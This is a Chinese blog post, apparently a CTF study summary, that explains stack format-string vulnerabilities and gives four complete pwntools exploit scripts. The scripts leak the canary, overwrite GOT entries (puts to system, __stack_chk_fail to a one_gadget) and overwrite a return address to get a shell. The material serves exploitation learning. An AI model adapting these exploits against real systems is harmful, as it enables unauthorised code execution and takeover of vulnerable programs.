栈上格式化字符串漏洞总结

本文详细解释了格式化字符串漏洞的工作原理,涉及内存泄露、修改全局对象表(got)以改变程序行为,以及如何利用stack_checkfail和one_gadget进行权限提升。通过实例和代码展示了如何在C/C++环境中利用这些漏洞进行攻击。
摘要由CSDN通过智能技术生成

一、什么是格式化字符串漏洞

例如printf(s),这就是个漏洞函数,那么正确形式应该是printf('%s',s),即以字符串形式输出,那么存在漏洞的原因就是就是没有格式化字符,这时候如果我们在漏洞函数上边输入一个格式化字符,比如%p,那么就会泄露指定位置的地址。因为当程序进行printf函数时,第一个参数是格式化字符,来确定下面一个数据的打印形式。下面是一些格式化字符代表的意思。

%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
%hhn - 写1字节
%hn - 写2字节
%ln - 写4个字节
%lln - 写8字节

而且格式化字符串漏洞会存在偏移,在输入的数据与到栈上位置之间,也就是说泄露的前几个不是栈上的内容,这一般用多次输入%s,%p,%x这些格式化字符连带着泄露出多个偏移下的数据来测定。

AAAA %x %x %x %x %x %x %x %x %x %x %x %x 

AAAA %s %s %s %s %s %s %s %s %s %s %s %s

AAAA %p %p %p %p %p %p %p %p %p %p %p %p

就像这样,AAAA是我们判断的标志,从%x泄露第一个数据开始到看到41,就是偏移,这里是6,

然后还有一个利用格式化字符来修改got表及其他地址的函数,

fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

当然如果会手搓的话更好,会更省字节。下面是四种利用方式来加深理解。

二、泄露内存

可以看到v6是canary,然后可以读取8字节,接下来有格式化字符串漏洞,然后输入长长整型数输入v4,如果等于canary获得权限,这里注意%lld,在 C 或 C++ 语言中,%lld 是一个格式说明符,用于表示长长整型(long long int)的整数,理论上,一个 long long int 可以存储最多 19 位数字(包括正负号)。所以遇见这种情况要多试几次自己脚本,有可能运气不好,canary太大了,多了一位。下面是具体exp

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn1')
elf=ELF('./pwn1')
payload=b'%11$p'
p.sendline(payload)
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
print(hex(canary))
print(str(canary))
#gdb.attach(p)
#pause()
p.sendline(str(canary))
p.interactive()

这里注意最后发送的时候要用str()打包,因为是以整数形式输入。

这里是看到canary过大,被转化为10进制时,达到了20位,但是只能读入19位(不包括换行符)

这就是差距一个字节的情况。

三、修改got表

read读入,然后是一个格式化字符串漏洞,这里有个puts("$0"),这里需要注意,system("/bin/sh")等同于system("$0"),而且都知道函数的调用是先通过plt表,调用函数的got表,进而调用函数真实地址,如果能够更改函数的got表,将调用puts时调用system,且参数不变,那就能获得这道题的flag了。

那么肯定是先要泄露libc基址,与此同时,我们也需要多次读入,那就要先把puts的got表改为main函数起始地址,这时候我们发送完payload可以通过si进入puts函数,去看puts函数执行什么,或者输入got指令去看puts函数的got表是什么。

这样就可以确定我们修改成功了。

拿到libc基址之后,system函数就可以构造出来,接下来再把puts函数的got表改为system函数就会调用system("$0"),从而提权。

这里因为第一次把puts的got表改为了main,直到下次修改都不会变,所以可以多次读入,具体应该是因为延迟绑定机制,具体可以自行搜索。下面是exp。

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rdi=0x00000000004012a3
printf_got=elf.got['printf']
read_got=elf.got['read']
#这里把puts函数got表修改为main函数起始地址
payload=fmtstr_payload(6, {elf.got['puts']: elf.sym['main']})
p.send(payload)
#这里偏移为6,第一块为6,那么read就是偏移7
payload=b'%7$saaaa'+p64(read_got)
#gdb.attach(p)
#pause()
p.sendline(payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
pay=fmtstr_payload(6,{elf.got['puts']:system})
#pause()
p.sendline(pay)
p.interactive()

四、修改stack_checkfail

那么这个函数就是有canary保护的程序在canary被覆盖后,判断后与canary不同,发生错误退出时调用的,这是又一种解决canary保护的方法。

看这道题,canary保护,read与printf组成格式化栈溢出漏洞,再看这里

证明可以修改stack_chk_fail的got表,那么思路与上道题差距不大,首先修改stack_chk_fail的got表为主函数起始地址,然后泄露libc基址,可以找一个one_gadget,然后再修改它为one_gadget的地址。

但是,有一点需要特别注意,在输入payload链时,一定要足够长到覆盖canary,否则程序会正常退出,而stack_chk_fail函数是非正常退出时出现。

下面是exp:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn3')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./pwn3")
def bug():
	gdb.attach(p)
	pause() 
fail=elf.got['__stack_chk_fail']
payload=fmtstr_payload(6, {fail: 0x4011dd},write_size='short')
#bug()
p.send(payload)
pay=b'%19$p'+p64(0)*4
#pause()
p.send(pay)
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print(hex(libc_base))
one_gadget=0xe3b01+libc_base
payload=fmtstr_payload(6, {fail: one_gadget},write_size='short')
#pause()
p.sendline(payload)
p.interactive()

五、修改返回地址为one_gadget

要注意这里的返回地址是printf这种函数的,而不是main的。

注意这里也是有canary保护,但是不能像上道题一样,因为保护全开了,got表不能改了

所以根据这道题考虑修改最下面printf函数的返回地址,当他原来要返回lbs+多少时,修改返回到lbs的起始,这样可以进行多次输入,至于这个返回地址怎么找就需要进入gdb调试,当ni到需要被修改返回地址的函数时,si进去,看这个函数执行完会返回到哪里。

这里可以看到当从printf函数返回时的栈地址,及返回位置是lbs+502,那么可以通过我们计算上面打印出来的buf的栈地址与他的栈地址之前的偏移,来得到这个返回地址的栈地址。那么完整exp如下:

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn4')
elf=ELF('./pwn4')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b'lbs 6 or not 6\n')
a=b'yes'
#gdb.attach(p)
#pause()
p.send(a)
p.recvuntil(b'0x')
printf_addr=int(p.recv(12),16)
print(hex(printf_addr))
p.recvuntil(b'0x')
buf=int(p.recv(12),16)
print(hex(buf))
libc_base = printf_addr - libc.symbols['printf']
print(hex(libc_base))
one_gadget=0xe3b01+libc_base
printf_a=buf-8
print(hex(printf_a))
payload=fmtstr_payload(6, {printf_a: one_gadget},write_size='short')
#gdb.attach(p)
#pause()
p.sendline(payload)
p.interactive()

以上是学习栈上格式化字符串漏洞的小结。

  • 53
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

江屿..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值